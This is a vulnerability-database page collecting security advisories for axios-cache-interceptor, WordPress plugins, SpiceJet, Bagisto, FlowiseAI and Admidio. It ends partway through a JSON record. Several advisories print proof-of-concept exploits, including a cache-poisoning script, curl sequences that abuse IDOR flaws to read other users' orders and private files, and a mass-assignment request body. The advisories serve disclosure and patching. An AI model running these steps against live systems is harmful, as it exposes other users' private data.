Vulnerability-Lookup

GHSA-X4M5-4CW8-VC44

Vulnerability from github – Published: 2025-12-30 15:37 – Updated: 2026-01-05 22:35

Summary

axios-cache-interceptor Vulnerable to Cache Poisoning via Ignored HTTP Vary Header

Details

Summary

When a server calls an upstream service using different auth tokens, axios-cache-interceptor returns incorrect cached responses, leading to authorization bypass.

Details

The cache key is generated only from the URL, ignoring request headers like Authorization. When the server responds with Vary: Authorization (indicating the response varies by auth token), the library ignores this, causing all requests to share the same cache regardless of authorization.

Impact

Affected: Server-side applications (APIs, proxies, backend services) that:

Use axios-cache-interceptor to cache requests to upstream services
Handle requests from multiple users with different auth tokens
Upstream services replies on Vary to differentiate caches

Not affected: Browser/client-side applications (single user per browser session).

Services using different auth tokens to call upstream services will return incorrect cached data, bypassing authorization checks and leaking user data across different authenticated sessions.

Solution

After v1.11.1, automatic Vary header support is now enabled by default.

When server responds with Vary: Authorization, cache keys now include the authorization header value. Each user gets their own cache.

// v1.11.1+ (automatic, no config needed)
// User 123: key = hash(url + {authorization: 'Bearer 123'})
// User 456: key = hash(url + {authorization: 'Bearer 456'})
// ✓ Different caches, no poisoning

Remediation

Upgrade to v1.11.1 or later. No code changes required, protection is automatic

Proof of Concept

const http = require('node:http');
const axios = require('axios');
const { setupCache } = require('axios-cache-interceptor');

// Server that returns different responses based on Authorization
const server = http.createServer((req, res) => {
  const auth = req.headers.authorization;

  res.setHeader('Vary', 'Authorization');

  if (auth === 'Bearer 123') {
    res.write('Hello, user 123!');
  } else if (auth === 'Bearer 456') {
    res.write('Hello, user 456!');
  } else {
    res.write('Unknown');
  }

  res.end();
});

server.listen(5000);

// Client making requests with different tokens
const cachedAxios = setupCache(axios.create());

const server2 = http.createServer(async (_req, res) => {
  const authHeader =
    Math.random() < 0.5 ? 'Bearer 123' : 'Bearer 456';

  const response = await cachedAxios.get('http://localhost:5000', {
    headers: { Authorization: authHeader }
  });

  console.log({
    response: response.data,
    cached: response.cached,
    auth: authHeader
  });
  res.write(response.data);
  res.end();
});

server2.listen(5001);

// Trigger 10 requests
Promise.all(
  Array.from({ length: 10 }, () =>
    axios.get('http://localhost:5001').catch(console.error)
  )
).finally(() => {
  server.close();
  server2.close();
});

All 10 responses return "Hello, user 123!" even when using "Bearer 456" - users receive each other's cached data.

Severity

6.0 (Medium)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios-cache-interceptor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69202"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-524",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-30T15:37:55Z",
    "nvd_published_at": "2025-12-29T20:15:42Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nWhen a server calls an upstream service using different auth tokens, axios-cache-interceptor returns incorrect cached responses, leading to authorization bypass.\n\n## Details\n\nThe cache key is generated only from the URL, ignoring request headers like `Authorization`. When the server responds with `Vary: Authorization` (indicating the response varies by auth token), the library ignores this, causing all requests to share the same cache regardless of authorization.\n\n## Impact\n\n**Affected:** Server-side applications (APIs, proxies, backend services) that:\n\n- Use axios-cache-interceptor to cache requests to upstream services\n- Handle requests from multiple users with different auth tokens\n- Upstream services replies on `Vary` to differentiate caches\n\n**Not affected:** Browser/client-side applications (single user per browser session).\n\nServices using different auth tokens to call upstream services will return incorrect cached data, bypassing authorization checks and leaking user data across different authenticated sessions.\n\n## Solution\n\nAfter `v1.11.1`, automatic `Vary` header support is now enabled by default.\n\nWhen server responds with `Vary: Authorization`, cache keys now include the authorization header value. Each user gets their own cache.\n\n```js\n// v1.11.1+ (automatic, no config needed)\n// User 123: key = hash(url + {authorization: \u0027Bearer 123\u0027})\n// User 456: key = hash(url + {authorization: \u0027Bearer 456\u0027})\n// \u2713 Different caches, no poisoning\n```\n\n## Remediation\n\nUpgrade to v1.11.1 or later. _No code changes required, protection is automatic_\n\n\n## Proof of Concept\n\n```js\nconst http = require(\u0027node:http\u0027);\nconst axios = require(\u0027axios\u0027);\nconst { setupCache } = require(\u0027axios-cache-interceptor\u0027);\n\n// Server that returns different responses based on Authorization\nconst server = http.createServer((req, res) =\u003e {\n  const auth = req.headers.authorization;\n\n  res.setHeader(\u0027Vary\u0027, \u0027Authorization\u0027);\n\n  if (auth === \u0027Bearer 123\u0027) {\n    res.write(\u0027Hello, user 123!\u0027);\n  } else if (auth === \u0027Bearer 456\u0027) {\n    res.write(\u0027Hello, user 456!\u0027);\n  } else {\n    res.write(\u0027Unknown\u0027);\n  }\n\n  res.end();\n});\n\nserver.listen(5000);\n\n// Client making requests with different tokens\nconst cachedAxios = setupCache(axios.create());\n\nconst server2 = http.createServer(async (_req, res) =\u003e {\n  const authHeader =\n    Math.random() \u003c 0.5 ? \u0027Bearer 123\u0027 : \u0027Bearer 456\u0027;\n\n  const response = await cachedAxios.get(\u0027http://localhost:5000\u0027, {\n    headers: { Authorization: authHeader }\n  });\n\n  console.log({\n    response: response.data,\n    cached: response.cached,\n    auth: authHeader\n  });\n  res.write(response.data);\n  res.end();\n});\n\nserver2.listen(5001);\n\n// Trigger 10 requests\nPromise.all(\n  Array.from({ length: 10 }, () =\u003e\n    axios.get(\u0027http://localhost:5001\u0027).catch(console.error)\n  )\n).finally(() =\u003e {\n  server.close();\n  server2.close();\n});\n```\n\nAll 10 responses return \"Hello, user 123!\" even when using \"Bearer 456\" - users receive each other\u0027s cached data.",
  "id": "GHSA-x4m5-4cw8-vc44",
  "modified": "2026-01-05T22:35:17Z",
  "published": "2025-12-30T15:37:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/arthurfiorette/axios-cache-interceptor/security/advisories/GHSA-x4m5-4cw8-vc44"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69202"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arthurfiorette/axios-cache-interceptor/commit/49a808059dfc081b9cc23d48f243d55dfce15f01"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/arthurfiorette/axios-cache-interceptor"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "axios-cache-interceptor Vulnerable to Cache Poisoning via Ignored HTTP Vary Header"
}

GHSA-X4X7-V8WJ-3952

Vulnerability from github – Published: 2026-02-25 12:30 – Updated: 2026-02-25 12:30

Details

The WP Recipe Maker plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'ajax_search_recipes' and 'ajax_get_recipe' functions in all versions up to, and including, 10.2.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve sensitive recipe information including draft, pending, and private recipes that they shouldn't be able to access.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-14742"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-25T10:16:18Z",
    "severity": "MODERATE"
  },
  "details": "The WP Recipe Maker plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the \u0027ajax_search_recipes\u0027 and \u0027ajax_get_recipe\u0027 functions in all versions up to, and including, 10.2.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve sensitive recipe information including draft, pending, and private recipes that they shouldn\u0027t be able to access.",
  "id": "GHSA-x4x7-v8wj-3952",
  "modified": "2026-02-25T12:30:28Z",
  "published": "2026-02-25T12:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14742"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-recipe-maker/trunk/includes/public/class-wprm-recipe-manager.php#L161"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-recipe-maker/trunk/includes/public/class-wprm-recipe-manager.php#L301"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-recipe-maker/trunk/includes/public/class-wprm-recipe-manager.php#L46"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-recipe-maker/trunk/includes/public/class-wprm-recipe-manager.php#L47"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3440361/wp-recipe-maker/trunk/includes/public/class-wprm-recipe-manager.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/10c17e74-dced-483e-bcaf-00ff5b11059c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X532-492Q-G257

Vulnerability from github – Published: 2026-04-23 21:31 – Updated: 2026-04-23 21:31

Details

A vulnerability in SpiceJet’s booking API allows unauthenticated users to query passenger name records (PNRs) without any access controls. Because PNR identifiers follow a predictable pattern, an attacker could systematically enumerate valid records and obtain associated passenger names. This flaw stems from missing authorization checks on an endpoint intended for authenticated profile access.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-6375"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-23T21:16:06Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in SpiceJet\u2019s booking API allows unauthenticated users to query passenger name records (PNRs) without any access controls. Because PNR identifiers follow a predictable pattern, an attacker could systematically enumerate valid records and obtain associated passenger names. This flaw stems from missing authorization checks on an endpoint intended for authenticated profile access.",
  "id": "GHSA-x532-492q-g257",
  "modified": "2026-04-23T21:31:24Z",
  "published": "2026-04-23T21:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6375"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-113-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-X5MV-X4W6-8RGW

Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2026-04-23 18:31

Details

Authorization Bypass Through User-Controlled Key vulnerability in David Lingren Media Library Assistant media-library-assistant allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Media Library Assistant: from n/a through <= 3.30.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-63065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-09T16:18:12Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in David Lingren Media Library Assistant media-library-assistant allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Media Library Assistant: from n/a through \u003c= 3.30.",
  "id": "GHSA-x5mv-x4w6-8rgw",
  "modified": "2026-04-23T18:31:43Z",
  "published": "2025-12-09T18:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63065"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/media-library-assistant/vulnerability/wordpress-media-library-assistant-plugin-3-30-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/media-library-assistant/vulnerability/wordpress-media-library-assistant-plugin-3-30-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X5RW-QVVP-5CGM

Vulnerability from github – Published: 2026-01-02 22:50 – Updated: 2026-01-02 22:50

Summary

Bagisto has IDOR in Customer Order Reorder Functionality

Details

Summary

An Insecure Direct Object Reference vulnerability in the customer order reorder function allows any authenticated customer to add items from another customer's order to their own shopping cart by manipulating the order ID parameter. This exposes sensitive purchase information and enables potential fraud.

Details

The vulnerability exists in the reorder method within OrderController.php. Unlike other order-related functions like view, cancel, printInvoice that properly validate customer ownership, the reorder function retrieves orders using only the order ID without verifying that the order belongs to the authenticated customer.

Code location: packages/Webkul/Shop/src/Http/Controllers/Customer/Account/OrderController.php

Exposed Route: packages/Webkul/Shop/src/Routes/customer-routes.php

Route::get('reorder/{id}', 'reorder')->name('shop.customers.account.orders.reorder');

PoC

I. Create victim account and place an order. II. Login as attacker. III. Exploit IDOR and navigate like: http://target.xxx/customer/account/orders/reorder/1 IV. Check http://target.xxx/checkout/cart and verify exploitation. V. Victim's order items are now in Attacker's cart.

PoC via curl:

curl -c cookies.txt -X POST "http://target.xxx/customer/login" -d "email=attacker@evil.com&password=123qwe"

curl -b cookies.txt "http://target.xxx/customer/account/orders/reorder/1"

curl -b cookies.txt "http://target/api/checkout/cart"

Impact

Information Disclosure: Attackers can discover what products other customers have purchased.
Potential Fraud: Attackers could potentially exploit this for social engineering or targeted attacks.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "bagisto/bagisto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T22:50:47Z",
    "nvd_published_at": "2026-01-02T21:15:58Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn Insecure Direct Object Reference vulnerability in the customer order reorder function allows any authenticated customer to add items from another customer\u0027s order to their own shopping cart by manipulating the order ID parameter. This exposes sensitive purchase information and enables potential fraud.\n\n### Details\n\nThe vulnerability exists in the reorder method within OrderController.php. Unlike other order-related functions like view, cancel, printInvoice that properly validate customer ownership, the reorder function retrieves orders using only the order ID without verifying that the order belongs to the authenticated customer.\n\nCode location: `packages/Webkul/Shop/src/Http/Controllers/Customer/Account/OrderController.php`\n\nExposed Route: `packages/Webkul/Shop/src/Routes/customer-routes.php`\n\n```php\nRoute::get(\u0027reorder/{id}\u0027, \u0027reorder\u0027)-\u003ename(\u0027shop.customers.account.orders.reorder\u0027);\n```\n\n### PoC\n\nI. Create victim account and place an order.\nII. Login as attacker.\nIII. Exploit IDOR and navigate like:  http://target.xxx/customer/account/orders/reorder/1\nIV. Check http://target.xxx/checkout/cart and verify exploitation.\nV. Victim\u0027s order items are now in Attacker\u0027s cart.\n\n###\u00a0PoC via curl:\n\n```\ncurl -c cookies.txt -X POST \"http://target.xxx/customer/login\" -d \"email=attacker@evil.com\u0026password=123qwe\"\n\ncurl -b cookies.txt \"http://target.xxx/customer/account/orders/reorder/1\"\n\ncurl -b cookies.txt \"http://target/api/checkout/cart\"\n```\n\n### Impact\n\n- **Information Disclosure:** Attackers can discover what products other customers have purchased.\n- **Potential Fraud:** Attackers could potentially exploit this for social engineering or targeted attacks.",
  "id": "GHSA-x5rw-qvvp-5cgm",
  "modified": "2026-01-02T22:50:47Z",
  "published": "2026-01-02T22:50:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-x5rw-qvvp-5cgm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21447"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/commit/b2b1cf62577245d03a68532478cffbe321df74d3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bagisto/bagisto"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Bagisto has IDOR in Customer Order Reorder Functionality"
}

GHSA-X5V6-PJ28-CWWM

Vulnerability from github – Published: 2026-05-14 14:52 – Updated: 2026-06-09 13:09

Summary

FlowiseAI has Mass Assignment in Tool Update Endpoint that Allows Cross-Workspace Resource Reassignment

Details

Summary

A Mass Assignment vulnerability exists in the tool update endpoint of FlowiseAI.

The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a tool resource.

Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign tools to arbitrary workspaces. This breaks tenant isolation in multi-workspace environments.

Details

The endpoint responsible for updating tools:

PUT /api/v1/tools/{toolId}

accepts a JSON request body containing tool metadata.

However, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend.

Server-controlled fields that can be manipulated include:

workspaceId
createdDate
updatedDate

The request body is directly merged into the underlying database entity without proper DTO validation or authorization checks.

PoC

Authenticate to the Flowise interface.

Capture the request used to update a tool:

PUT /api/v1/tools/<TOOL_ID>
Content-Type: application/json

Modify the request body by injecting additional fields:

{
  "name": "aaa",
  "description": "bbb",
  "color": "linear-gradient(rgb(109,215,45), rgb(136,170,134))",
  "schema": "[]",
  "func": "",
  "iconSrc": "test",
  "workspaceId": "11111111-2222-3333-4444-555555555555",
  "createdDate": "1995-03-06T14:17:50.000Z",
  "updatedDate": "1995-03-06T14:17:50.000Z"
}

Send the request.

Observe that the response includes the manipulated fields:

{
  "workspaceId": "11111111-2222-3333-4444-555555555555",
  "createdDate": "1995-03-06T14:17:50.000Z"
}

This confirms that client-controlled values are accepted and persisted by the server.

Impact

This vulnerability allows authenticated users to manipulate internal attributes of tool resources.

Confirmed impacts include:

Cross-workspace reassignment of tools (workspaceId)
Unauthorized modification of metadata (createdDate, updatedDate)

In multi-tenant deployments, this may allow an attacker to move tools between workspaces without authorization, breaking tenant isolation boundaries.

Severity

7.6 (High)


                  
                    CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42862"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T14:52:40Z",
    "nvd_published_at": "2026-06-08T16:16:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Mass Assignment vulnerability exists in the tool update endpoint of FlowiseAI.\n\nThe endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a tool resource.\n\nDue to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign tools to arbitrary workspaces. This breaks tenant isolation in multi-workspace environments.\n\n### Details\nThe endpoint responsible for updating tools:\n\n**PUT /api/v1/tools/{toolId}**\n\naccepts a JSON request body containing tool metadata.\n\nHowever, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend.\n\nServer-controlled fields that can be manipulated include:\n\n1. workspaceId\n2. createdDate\n3. updatedDate\n\nThe request body is directly merged into the underlying database entity without proper DTO validation or authorization checks.\n\n### PoC\nAuthenticate to the Flowise interface.\n\nCapture the request used to update a tool:\n\n```http\nPUT /api/v1/tools/\u003cTOOL_ID\u003e\nContent-Type: application/json\n\nModify the request body by injecting additional fields:\n\n{\n  \"name\": \"aaa\",\n  \"description\": \"bbb\",\n  \"color\": \"linear-gradient(rgb(109,215,45), rgb(136,170,134))\",\n  \"schema\": \"[]\",\n  \"func\": \"\",\n  \"iconSrc\": \"test\",\n  \"workspaceId\": \"11111111-2222-3333-4444-555555555555\",\n  \"createdDate\": \"1995-03-06T14:17:50.000Z\",\n  \"updatedDate\": \"1995-03-06T14:17:50.000Z\"\n}\n\n```\nSend the request.\n\nObserve that the response includes the manipulated fields:\n\n```json\n{\n  \"workspaceId\": \"11111111-2222-3333-4444-555555555555\",\n  \"createdDate\": \"1995-03-06T14:17:50.000Z\"\n}\n```\n\nThis confirms that client-controlled values are accepted and persisted by the server.\n\n### Impact\nThis vulnerability allows authenticated users to manipulate internal attributes of tool resources.\n\nConfirmed impacts include:\n\n- Cross-workspace reassignment of tools (workspaceId)\n- Unauthorized modification of metadata (createdDate, updatedDate)\n\nIn multi-tenant deployments, this may allow an attacker to move tools between workspaces without authorization, breaking tenant isolation boundaries.",
  "id": "GHSA-x5v6-pj28-cwwm",
  "modified": "2026-06-09T13:09:57Z",
  "published": "2026-05-14T14:52:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x5v6-pj28-cwwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42862"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FlowiseAI has Mass Assignment in Tool Update Endpoint that Allows Cross-Workspace Resource Reassignment"
}

GHSA-X628-457G-2PW9

Vulnerability from github – Published: 2026-05-29 22:06 – Updated: 2026-05-29 22:06

Summary

Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders

Details

Summary

modules/documents-files.php gates state-changing modes by checking that the actor has hasUploadRight() on the URL parameter folder_uuid. The move_save handler then operates on a separate URL parameter file_uuid and calls File::moveToFolder($destFolderUUID). File::moveToFolder() checks the upload right on the destination folder but never on the source folder containing the file. As a result, any user who can upload to any single folder can move any file from any other folder — including private folders to which they have no view rights — into a folder they control, and then download it. Confidentiality is broken (private file contents leak) and integrity is broken (the file is removed from the original location).

Details

Vulnerable Code

modules/documents-files.php:79-89 — top-level rights check binds to URL folder_uuid:

if ($getMode != 'list' && $getMode != 'download') {
    // check the rights of the current folder
    // user must be administrator or must have the right to upload files
    $folder = new Folder($gDb);
    $folder->getFolderForDownload($getFolderUUID);

    if (!$folder->hasUploadRight()) {
        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
        // => EXIT
    }
}

modules/documents-files.php:187-204 — the move_save branch loads the file by UUID without revalidating the file's actual parent folder:

case 'move_save':
    $documentsFilesMoveForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
    $formValues = $documentsFilesMoveForm->validate($_POST);

    if ($getFileUUID !== '') {
        $file = new File($gDb);
        $file->readDataByUuid($getFileUUID);                       // <-- no permission check on the file's source folder
        $file->moveToFolder($formValues['adm_destination_folder_uuid']);
    } else {
        $folder = new Folder($gDb);
        $folder->readDataByUuid($getFolderUUID);
        $folder->moveToFolder($formValues['adm_destination_folder_uuid']);
    }

    $gNavigation->deleteLastUrl();
    echo json_encode(array('status' => 'success', 'url' => $gNavigation->getUrl()));
    break;

src/Documents/Entity/File.php:212-223 — moveToFolder checks only the destination:

public function moveToFolder(string $destFolderUUID)
{
    $folder = new Folder($this->db);
    $folder->readDataByUuid($destFolderUUID);

    if ($folder->hasUploadRight()) {                               // <-- destination only
        FileSystemUtils::moveFile($this->getFullFilePath(),
                                  $folder->getFullFolderPath() . '/' . $this->getValue('fil_name'));
        $this->setValue('fil_fol_id', $folder->getValue('fol_id'));
        $this->save();
    }
}

There is no check that the actor has any right (view, edit, upload) on the folder that currently contains the file. The file_uuid URL parameter is independent of folder_uuid, so an attacker can pass folder_uuid=<a folder I can upload to> together with file_uuid=<a file in a folder I cannot read>. The top-level rights check passes; the destination check passes; the file is moved.

Exploitation Primitive

Attacker user lowuser holds folder_upload on a single Documents folder public_uploadable (UUID c41a99c0-…). They have no view or edit rights on private_admin_only (UUID db1f71b9-…, which is a role-restricted folder containing private_to_delete.txt, UUID 559ed352-…).
Render the move form with mismatched UUIDs to register a form key in the session: GET /modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…
Submit move_save with the same mismatch: POST /modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-… with adm_csrf_token=<from step 2> and adm_destination_folder_uuid=c41a99c0-…. Server replies {"status":"success"}. The private_to_delete.txt row in adm_files now has fil_fol_id pointing at the public-uploadable folder.
Download the file from its new (publicly-accessible) location: GET /modules/documents-files.php?mode=download&file_uuid=559ed352-… returns the bytes of private_to_delete.txt.

PoC

Tested live on HEAD c5cde53. The trace below is the agent-captured run; I verified the code paths against the source listed above.

# 0. starting state — lowuser has upload right ONLY on c41a99c0-… (public_uploadable)
$ curl -sb $cookie http://127.0.0.1:8085/modules/documents-files.php?folder_uuid=db1f71b9-…
"You do not have the required permission to perform this action."

# 1. render the move form using the public folder UUID (where lowuser has upload right)
#    paired with the PRIVATE file UUID
$ curl -sb $cookie \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…"
# form rendered, CSRF token X is now in session

# 2. submit move_save with the same param mismatch
$ curl -sb $cookie -X POST \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-…" \
    -d "adm_csrf_token=X&adm_destination_folder_uuid=c41a99c0-…"
{"status":"success", "url":"…"}

# 3. download the leaked file
$ curl -sb $cookie \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=download&file_uuid=559ed352-…"
private_to_delete_data

The DB record for the file now points at the attacker's folder (fil_fol_id updated), and the file has been physically moved on disk by FileSystemUtils::moveFile.

Impact

Any user with folder_upload right on a single Documents folder gains:

Read access to every file in private folders — admin-only documents, board-only files, leader-only resources, role-restricted attachments — by moving them into a folder the attacker owns and then downloading.
Write/destruction primitive — the file is no longer in its original folder. Users who depended on the file at its legitimate location can no longer find it. The moved file's permissions are now those of the destination, so previously-restricted content can be exposed to other low-privilege users (whoever else has view rights on the destination folder).

In multi-tenant Admidio installations where one shared deployment hosts multiple groups (e.g., a federation of associations), the bug crosses organisation-internal Documents trust boundaries: a member of group A holding folder_upload on group A's public folder can lift any private file from group B.

PR:L reflects that the actor must hold a single Documents upload right (a routinely-granted role attribute, not an administrator privilege). S:U because the impact stays inside the Documents module's own access-control model, but the access boundary it bypasses is the one that operators most rely on. C:H because confidentiality of any file in any private folder is broken; I:H because file location is mutated.

Recommended Fix

File::moveToFolder() must check that the actor has upload right (or at least edit / move right) on the file's source folder, not just on the destination. The minimal patch:

// src/Documents/Entity/File.php
public function moveToFolder(string $destFolderUUID)
{
    // re-read the source folder this file currently lives in, and check rights on it
    $sourceFolder = new Folder($this->db);
    $sourceFolder->readData($this->getValue('fil_fol_id'));
    if (!$sourceFolder->hasUploadRight()) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    $destFolder = new Folder($this->db);
    $destFolder->readDataByUuid($destFolderUUID);

    if (!$destFolder->hasUploadRight()) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    FileSystemUtils::moveFile($this->getFullFilePath(),
                              $destFolder->getFullFolderPath() . '/' . $this->getValue('fil_name'));
    $this->setValue('fil_fol_id', $destFolder->getValue('fol_id'));
    $this->save();
}

Equivalently, documents-files.php case 'move_save' should resolve the file's actual parent folder before the operation and call getFileForDownload() plus hasUploadRight() on that parent. The same fix is needed for Folder::moveToFolder() (the move-folder path is identical in shape).

A regression test should: 1. Create user lowuser with upload right only on folder A. 2. Place a private file in folder B with no rights for lowuser. 3. As lowuser, render mode=move with folder_uuid=A&file_uuid=<B's file>, then POST mode=move_save with the same. 4. Assert the response is SYS_NO_RIGHTS and the file's fil_fol_id is unchanged.

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
